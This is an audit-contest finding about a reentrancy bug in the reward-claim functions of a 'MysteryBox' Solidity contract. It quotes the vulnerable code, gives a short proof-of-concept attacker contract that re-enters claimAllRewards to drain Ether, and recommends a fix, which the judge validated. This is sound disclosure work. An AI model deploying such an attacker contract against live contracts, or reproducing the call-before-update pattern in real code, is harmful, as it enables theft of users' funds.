Mystery Box
First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy Vulnerability in Reward Claim Functions

ahamedaathal

Summary

The claimAllRewards and claimSingleReward functions send Ether to users before updating the contract’s state, exposing the contract to potential reentrancy attacks. An attacker could exploit this to repeatedly claim rewards before the state is updated, draining funds or manipulating the contract state.

Vulnerability Details

In the MysteryBox.sol contract, the reward claiming functions transfer Ether before updating the user's reward state:

function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
​
(bool success, ) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
​
delete rewardsOwned[msg.sender];
}
​
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
​
(bool success, ) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
​
delete rewardsOwned[msg.sender][_index];
}

By transferring Ether before updating the user's reward state (rewardsOwned), the contract allows the possibility of reentrant calls where an attacker can re-enter the function during the Ether transfer and manipulate the contract's state before it has been properly updated.

Impact

Exploiting this vulnerability allows an attacker to repetitively call the reward claiming functions before the rewards are deleted, potentially draining the contract's funds or manipulating the rewardsOwned mapping. While the contract may have limited attack vectors due to ownership restrictions, the vulnerability poses a significant risk to the contract’s financial integrity.

PoC

An attacker can create a malicious contract that re-enters the claimAllRewards or claimSingleReward function during the Ether transfer:

contract ReentrancyAttack {
MysteryBox public mysteryBox;
​
constructor(address _mysteryBox) {
mysteryBox = MysteryBox(_mysteryBox);
}
​
fallback() external payable {
if(address(mysteryBox).balance >= 1 ether) {
mysteryBox.claimAllRewards();
}
}
​
function attack() external payable {
mysteryBox.claimAllRewards();
}
}

By deploying this attack contract and initiating the attack function, the attacker can recursively call claimAllRewards before the rewards are deleted, allowing multiple withdrawals.

Tools Used

Manual code review

Slither static analysis tool

Recommendations

Adhere to the Checks-Effects-Interactions pattern by updating the contract's state before making external calls. Additionally, implement reentrancy guards to prevent recursive calls during Ether transfers.

Revised claimAllRewards function:

function claimAllRewards() public nonReentrant {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
​
// Effects
delete rewardsOwned[msg.sender];
​
// Interaction
(bool success, ) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
}
Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimAllRewards` reentrancy

`claimSingleReward` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!